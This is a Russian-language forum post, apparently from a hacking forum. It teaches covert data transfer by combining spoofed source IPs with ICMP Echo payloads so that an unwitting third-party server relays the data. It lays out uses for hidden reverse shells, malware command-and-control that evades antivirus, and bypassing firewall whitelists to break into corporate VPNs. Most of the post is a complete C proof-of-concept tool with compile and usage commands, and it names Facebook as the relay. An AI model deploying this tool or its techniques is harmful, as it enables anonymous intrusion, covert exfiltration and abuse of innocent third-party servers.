LIMB
Вход Регистрация

тема

IP спуфинг и ICMP Echo туннель для анонимизации и обхода фильтрации

ec5745y · · 0 ответов · 653 просмотров

 IP спуфинг и ICMP Echo туннель для анонимизации и обхода фильтрации​

Не удалось прогрузить медиа
В этой статье расскажу и покажу идею и способы передачи данных в обход сетевых фильтров и вайтлистинга, а также метод сокрытия исходного IP адреса с использованием чужого сервера в роли непреднамеренного прокси!​

Здоровья всем! Разгрести снег(вставь в консоль): document.querySelectorAll('#snow').forEach(el => el.remove());

  • Передача данных с использованием ICMP Echo  
  • Комбинация с IP спуфингом
  • Практика
  • Proof Of Concept

Передача данных используя ICMP Echo  ​
Сервер A отправляет серверу B пакет "Echo Request", а сервер B отвечает "Echo Reply", направляя его обратно на IP отправителя.
ICMP пакеты могут содержать произвольные данные. Изначально эта возможность предназначалась для проверки целостности передаваемой информации(передавался алфавит, а искажения были заметны сразу), но конечно же внутрь можно поместить всё что угодно.  
Используя эту фичу, ICMP может выполнять коммуникационные функции.
Важно отметить, что ICMP является важной частью TCP/IP, поэтому большинство фильтров его не блокируют.

Спойлер: nping
nping -c 1 --icmp --data-string "DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA DATA" google.com -vvv -d



SENT (0.0227s) ICMP [XXXX > 172.217.18.14 Echo request (type=8/code=0) id=3256 seq=1] IP [ver=4 ihl=5 tos=0x00 iplen=102 id=36700 foff=0 ttl=64 proto=1 csum=0x69e8]

0000   74 93 da d0 0a 79 00 c0  ca af 6e 01 08 00 45 00  t....y....n...E.

0010   00 66 8f 5c 00 00 40 01  69 e8 00 00 00 00 ac d9  .f.\[email protected].......

0020   12 0e 08 00 b4 25 0c b8  00 01 44 41 54 41 20 44  .....%....DATA.D

0030   41 54 41 20 44 41 54 41  20 44 41 54 41 20 44 41  ATA.DATA.DATA.DA

0040   54 41 20 44 41 54 41 20  44 41 54 41 20 44 41 54  TA.DATA.DATA.DAT

0050   41 20 44 41 54 41 20 44  41 54 41 20 44 41 54 41  A.DATA.DATA.DATA

0060   20 44 41 54 41 20 44 41  54 41 20 44 41 54 41 20  .DATA.DATA.DATA.

0070   44 41 54 41                                       DATA            

RCVD (0.0350s) ICMP [172.217.18.14 > XXXX Echo reply (type=0/code=0) id=3256 seq=1] IP [ver=4 ihl=5 tos=0x00 iplen=102 id=0 foff=0 ttl=116 proto=1 csum=0xc544]

0000   45 00 00 66 00 00 00 00  74 01 c5 44 ac d9 12 0e  E..f....t..D....

0010   00 00 00 00 00 00 bc 25  0c b8 00 01 44 41 54 41  .......%....DATA

0020   20 44 41 54 41 20 44 41  54 41 20 44 41 54 41 20  .DATA.DATA.DATA.

0030   44 41 54 41 20 44 41 54  41 20 44 41 54 41 20 44  DATA.DATA.DATA.D

0040   41 54 41 20 44 41 54 41  20 44 41 54 41 20 44 41  ATA.DATA.DATA.DA

0050   54 41 20 44 41 54 41 20  44 41 54 41 20 44 41 54  TA.DATA.DATA.DAT

0060   41 20 44 41 54 41                                 A.DATA
​
Комбинация с IP спуфингом​
Подмена источника пакета заставит сервер на который этот пакет был отправлен, дать Reply на указанный IP.
Если объединить ICMP передачу данных и подделать IP источника, можно добиться любопытного эффекта.

Спойлер: Визуализация
A - Отправляет данные    B - Ничерта не подозревает    C - Принимает данные
1. A, подделывая адрес C, отправляет Request на B
2. B, ничего не подозревая, отправляет Reply на C
3. C получает данные, хотя с A не взаимодействовал


Не удалось прогрузить медиа

A (спуфинг C)  --Echo Request-->  B  --Echo Reply-->  C​

Практика:​
Спойлер: Сценарии
Красным пометил запросы Request, а зелёным Reply

Анонимизация 

(Атакующий --> Посредник --> Получатель)​Отправить какие-то данные/файлик. Получатель не узнает IP отправившего. Видит только IP посредника.



Reverse shell через Reply

(Атакуюущий <--> Жертва)

blind-shell:(Атакующий --> Посредник --> Жертва)​Это позволяет передавать данные на зараженные сервера, не вызывая подозрений и обходя антивирусы. При проведении реверс инжиниринга, IP атакующего невозможно отследить.

Например, на зараженном сервере есть шелл. Атакующий отправляет Request с командой для выполнения, а сервер возвращает Reply, с выводом информации.



Поиск заражённого сервера

(Атакующий --> [Сервер1, Сервер2, Жертва, Сервер4])​Даже если IP сервера неизвестен, его можно узнать, проведя бродкаст ICMP Echo на диапазон IP(предположительно организации, чей диапазон IP доступен), а заражённый сервер должен заменить данные в reply, ну или просто выполнить код.

Удобно и незаметно! 



Поиск атакующего через Request

(Жертва --> [Сервер1, Сервер2, Атакующий, Сервер4])​Этот сценарий актуален для ПК малвари. 

Атакующий имеет сервер, на который приходят логи с малвари. Как только станет известно, что программа зловред - антивирусы добавят IP, с которым коммуницирует вирусная программа в бд, и сама малварь вовсе может стать бесполезной, как и IP сервера. Вместо этого, малварь может отправлять данные по предварительно сгенерированным спискам IP, один из которых принадлежит злоумышленнику. Ответ на ping у всех одинаковый, поэтому у сервера нет подозрительной активности. Это заслуживает отдельного внимания, скоро напишу про это статейку 



Обход фаервола

(Атакующий <--> Посредник <--> Жертва)​В такой системе, B анонимизует A от C. Более того, используя посредника B, можно получить доступ к C внутри сети с жёсткими фильтрами и вайтлистингом(если B в вайтлисте для C, но имеет выход в интернет). Это актуально для взлома корпоративных VPN.

PoC:​
C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <signal.h>
#include <sys/stat.h>


// Кастомный заголовок для передачи метаданных файла
typedef struct {
    uint16_t total_packets;    // Колво пакетов
    uint16_t packet_num;
    uint16_t data_len;         // Длина данных
    char filename[32];      
} icmp_header_t;

// Полный пакет (Cтандартный ICMP + заголовок + данные)
typedef struct {
    struct icmphdr icmp;       // Стандартный ICMP заголовок (8 байт)
    icmp_header_t custom;      // Метаданные (40 байт)
    char data[1424];           // Полезная нагрузка файла (Ограничение MTU для ICMP - 1472. 1472-40-8=1424)
} icmp_packet_t;

// Отслеживает прогресс сборки нескольких файлов
typedef struct {
    char filename[32];
    FILE *fp;                  // Временный файл .tmp для записи чанков
    uint16_t total_packets;
    uint16_t packets_received;
    uint8_t *received_map;     // Битмап полученных пакетов
    int data_size;
} file_transfer_t;

int sock = -1;
volatile int running = 1;
file_transfer_t *transfers = NULL;
int num_transfers = 0;
int transfers_capacity = 0;
int delay_ms = 200;            // Задержка между пакетами
int data_size = 1024;          // Размер чанка данных по дефолту

void signal_handler(int sig) {
    running = 0;
}



// RFC 1071 хешсумма (Вычисляет хещ для IP/ICMP заголовков)
uint16_t checksum(uint16_t *addr, int len) {
    int nleft = len;
    int sum = 0;
    uint16_t *w = addr;
    uint16_t answer = 0;

    while (nleft > 1) {
        sum += *w++;
        nleft -= 2;
    }

    if (nleft == 1) {
        *(unsigned char *)(&answer) = *(unsigned char *)w;
        sum += answer;
    }

    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return answer;
}

uint16_t ip_checksum(struct iphdr *ip_hdr) {
    ip_hdr->check = 0;
    return checksum((uint16_t *)ip_hdr, sizeof(struct iphdr));
}
////////////////////////////////////////////////////////////


// Создание сокета
int create_raw_socket() {
    int s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    int on = 1;
    setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));    // Формируем IP заголовок
    return s;
}

// Отправка файла
int send_file(const char *filename, const char *relay_ip, const char *target_ip, int custom_delay, int custom_data_size) {
    FILE *fp = fopen(filename, "rb");
    fseek(fp, 0, SEEK_END);
    long file_size = ftell(fp);
    fseek(fp, 0, SEEK_SET);
  
    // Вычисляем количество пакетов
    int total_packets = (file_size + custom_data_size - 1) / custom_data_size;
    char *filename_base = strrchr(filename, '/');
    if (!filename_base) filename_base = (char *)filename;
    else filename_base++;

    // Инфа о трансфере
    printf("Этот сервер --> Посредник(%s) --> Конечный сервер(%s)\n'%s' (%ld байт, %d пакетов)\n%d байт / Задержка: %dмс\n", relay_ip, target_ip, filename_base, file_size, total_packets, custom_data_size, custom_delay);

    // Цикл отправки пакетов
    // IP + ICMP + метаданные + чанк данных
    for (int pkt_num = 0; pkt_num < total_packets; pkt_num++) {
        usleep(custom_delay * 1000);    // Задержка для избежания перегрузки. В будущем можно добавить автоматическое определение
        char packet[1500] = {0};
        struct iphdr *ip_hdr = (struct iphdr *)packet;
        icmp_packet_t *icmp_pkt = (icmp_packet_t *)(packet + sizeof(struct iphdr));
     
        int icmp_len = sizeof(struct icmphdr) + sizeof(icmp_header_t) + custom_data_size;
        ip_hdr->ihl = 5;
        ip_hdr->version = 4;
        ip_hdr->tot_len = htons(sizeof(struct iphdr) + icmp_len);
        ip_hdr->id = htons(54321);      // Фиксированный IP ID
        ip_hdr->ttl = 64;
        ip_hdr->protocol = IPPROTO_ICMP;
        inet_pton(AF_INET, target_ip, &ip_hdr->saddr);    // Поддельный IP
        inet_pton(AF_INET, relay_ip, &ip_hdr->daddr);     // IP куда отправляем пакет, ретранслятор
        ip_hdr->check = ip_checksum(ip_hdr);

        // Ping
        icmp_pkt->icmp.type = ICMP_ECHO;
        icmp_pkt->icmp.code = 0;
        icmp_pkt->icmp.un.echo.id = htons(getpid());      // PID отправителя
        icmp_pkt->icmp.un.echo.sequence = htons(pkt_num); // Номер пакета

        // Кастомные метаданные
        icmp_pkt->custom.total_packets = htons(total_packets);
        icmp_pkt->custom.packet_num = htons(pkt_num);

        //Чанк
        int bytes_read = fread(icmp_pkt->data, 1, custom_data_size, fp);
        icmp_pkt->custom.data_len = htons(bytes_read);
        strncpy(icmp_pkt->custom.filename, filename_base, sizeof(icmp_pkt->custom.filename) - 1);

        // Финальный размер
        int actual_icmp_len = sizeof(struct icmphdr) + sizeof(icmp_header_t) + bytes_read;
        icmp_pkt->icmp.checksum = 0;
        icmp_pkt->icmp.checksum = checksum((uint16_t *)icmp_pkt, actual_icmp_len);

         // Отправляем
        struct sockaddr_in relay_addr = {0};
        relay_addr.sin_family = AF_INET;
        relay_addr.sin_addr.s_addr = inet_addr(relay_ip);

        int total_len = sizeof(struct iphdr) + actual_icmp_len;

        sendto(sock, packet, total_len, 0, (struct sockaddr *)&relay_addr, sizeof(relay_addr));

        printf("\rОтправлено %d/%d | %d байт", pkt_num + 1, total_packets, bytes_read);
    fflush(stdout);
    }

    fclose(fp);
    return 0;
}

// Поиск трансфера по имени файла
int get_transfer_index(const char *filename) {
    for (int i = 0; i < num_transfers; i++) {
        if (strcmp(transfers[i].filename, filename) == 0) return i;
    }
    return -1;
}

int ensure_capacity(int needed) {
    if (transfers_capacity >= needed) return 0;
    int new_capacity = transfers_capacity ? transfers_capacity * 2 : 16;
    if (new_capacity < needed) new_capacity = needed;

    file_transfer_t *new_transfers = realloc(transfers, new_capacity * sizeof(file_transfer_t));
    if (!new_transfers) return -1;
    transfers = new_transfers;
    transfers_capacity = new_capacity;
    return 0;
}

// Добавление трансфера
int add_transfer(const char *filename, uint16_t total_packets, const char *output_dir, int pkt_data_size) {
    ensure_capacity(num_transfers + 1);

    int idx = num_transfers;
    strncpy(transfers[idx].filename, filename, sizeof(transfers[idx].filename) - 1);
    transfers[idx].total_packets = total_packets;
    transfers[idx].packets_received = 0;
    transfers[idx].data_size = pkt_data_size;
    transfers[idx].received_map = calloc(total_packets, sizeof(uint8_t));
    if (!transfers[idx].received_map) return -1;

// Создаёт .tmp файл и битмап для отслеживания пакетов
    char filepath[256];
    snprintf(filepath, sizeof(filepath), "%s/%s.tmp", output_dir, filename);
    transfers[idx].fp = fopen(filepath, "wb");
    if (!transfers[idx].fp) {
        free(transfers[idx].received_map);
        return -1;
    }
    num_transfers++;
    return idx;
}

// Формирование финального файла
void merge_chunks(int idx, const char *output_dir) {
    if (idx < 0 || idx >= num_transfers) return;

    char tmp_path[256], final_path[256];
    snprintf(tmp_path, sizeof(tmp_path), "%s/%s.tmp", output_dir, transfers[idx].filename);
    snprintf(final_path, sizeof(final_path), "%s/%s", output_dir, transfers[idx].filename);
    rename(tmp_path, final_path);
    printf("\n'%s' сохранён <3\n", transfers[idx].filename);
    free(transfers[idx].received_map);
    transfers[idx].received_map = NULL;
    if (transfers[idx].fp) {
        fclose(transfers[idx].fp);
        transfers[idx].fp = NULL;
    }
}

// Приём
int receive_files(const char *output_dir) {
    mkdir(output_dir, 0755);
    char buffer[2048];

    printf("Ждём...\n");

    while (running) {
        struct sockaddr_in src;
        socklen_t src_len = sizeof(src);
      
        // На всех входящих ICMP
        int len = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr *)&src, &src_len);
        if (len < 0) continue;

        // Парсинг IP/ICMP
        struct iphdr *ip_hdr = (struct iphdr *)buffer;
        int ip_hdr_len = ip_hdr->ihl * 4;
        struct icmphdr *icmp_hdr = (struct icmphdr *)(buffer + ip_hdr_len);

        /* Обрабатываем только Reply, но в зависмости от сценрия можно поменять
        (icmp_hdr->type == ICMP_ECHOREPLY || icmp_hdr->type == ICMP_ECHO)
        ICMP_DEST_UNREACH
        ICMP_SOURCE_QUENCH
        ICMP_REDIRECT
        ICMP_ECHO
        ICMP_TIME_EXCEEDED
        ICMP_PARAMETERPROB
        ICMP_TIMESTAMP
        ICMP_TIMESTAMPREPLY
        ICMP_INFO_REQUEST
        ICMP_INFO_REPLY
        ICMP_ADDRESS
        ICMP_ADDRESSREPLY
        */
        if (icmp_hdr->type == ICMP_ECHOREPLY) {    //////////
            icmp_packet_t *pkt = (icmp_packet_t *)icmp_hdr;
            uint16_t packet_num = ntohs(pkt->custom.packet_num);
            uint16_t total_packets = ntohs(pkt->custom.total_packets);
            uint16_t data_len = ntohs(pkt->custom.data_len);

            char filename[32];
            strncpy(filename, pkt->custom.filename, sizeof(filename) - 1);

            // Cоздаём трансфер
            int idx = get_transfer_index(filename);
            if (idx < 0) {
                idx = add_transfer(filename, total_packets, output_dir, data_len);
                if (idx < 0) continue;
            }

            if (packet_num >= transfers[idx].total_packets ||
                transfers[idx].received_map[packet_num]) {
                continue;
            }

            transfers[idx].received_map[packet_num] = 1;
            transfers[idx].packets_received++;
         
            // Записываем чанк по смещению
            fseek(transfers[idx].fp, (long)packet_num * transfers[idx].data_size, SEEK_SET);
            fwrite(pkt->data, 1, data_len, transfers[idx].fp);
            fflush(transfers[idx].fp);

            char src_ip[INET_ADDRSTRLEN];
            inet_ntop(AF_INET, &src.sin_addr, src_ip, sizeof(src_ip));
            printf("\r(%s) %s  %d/%d  %d байт",
                   src_ip, filename, packet_num + 1, total_packets, data_len);
            fflush(stdout);
         
            // Финализация
            if (transfers[idx].packets_received == total_packets) {
                merge_chunks(idx, output_dir);
            }
        }
    }
    return 0;
}

void cleanup() {
    for (int i = 0; i < num_transfers; i++) {
        if (transfers[i].received_map) free(transfers[i].received_map);
        if (transfers[i].fp) fclose(transfers[i].fp);
    }
    if (transfers) free(transfers);
}

void print_usage(const char *prog) {
    printf("Отправить: %s -s <файл> <IP посредника> <IP приёмника> [задержка] [размер пакета]\n", prog);
    printf("Принять: %s -r [директория]\n", prog);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        print_usage(argv[0]);
        return 1;
    }

    sock = create_raw_socket();    // Только с root
 
    signal(SIGINT, signal_handler);
    atexit(cleanup);

    int res = 0;

    if (strcmp(argv[1], "-s") == 0 && argc >= 5) {
        int custom_delay = (argc > 5) ? atoi(argv[5]) : delay_ms;
        int custom_data_size = (argc > 6) ? atoi(argv[6]) : data_size;
        res = send_file(argv[2], argv[3], argv[4], custom_delay, custom_data_size);
    } else if (strcmp(argv[1], "-r") == 0) {
        const char *out_dir = (argc > 2) ? argv[2] : "/dev/null"; // :)
        res = receive_files(out_dir);
    } else {
        print_usage(argv[0]);
        res = 1;
    }

    close(sock);
    return res;
}
Компиляция:
gcc -o icmp icmp2.c

Отправить (Со стороны A):
./icmp2 -s <файл> IP посредника (B) IP приёмника (C) [задержка в мс] [размер пакета]

Принять (Сторона C):
Принять: ./icmp2 -r [директория, куда будет сохранён файл]

Для примера буду использовать фейсбук в качестве посредника.

Отправитель:

Не удалось прогрузить медиа

Получатель:
Не удалось прогрузить медиа


Спойлер: Для больших файлов - фрагментация
Отправитель:
Не удалось прогрузить медиа

Получатель:
Не удалось прогрузить медиа

Вместо заключения
Доверенные протоколы - это огромная слепая зона и хорошие возможности :)
В будущем, добавлю методы обхода фильтрации ICMP, шифрование данных и реализую алгоритм, который сам подбирает параметры и задержку между пакетами, балансируя на грани срабатывания IDS.

На этом всё! Делитесь своими идеями в комментариях, постараюсь на всё ответить!


Автор @ec5745y
Специально для forum.LIMB.cc
👍50 ❤️6 👏6 🤔6 💯8

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.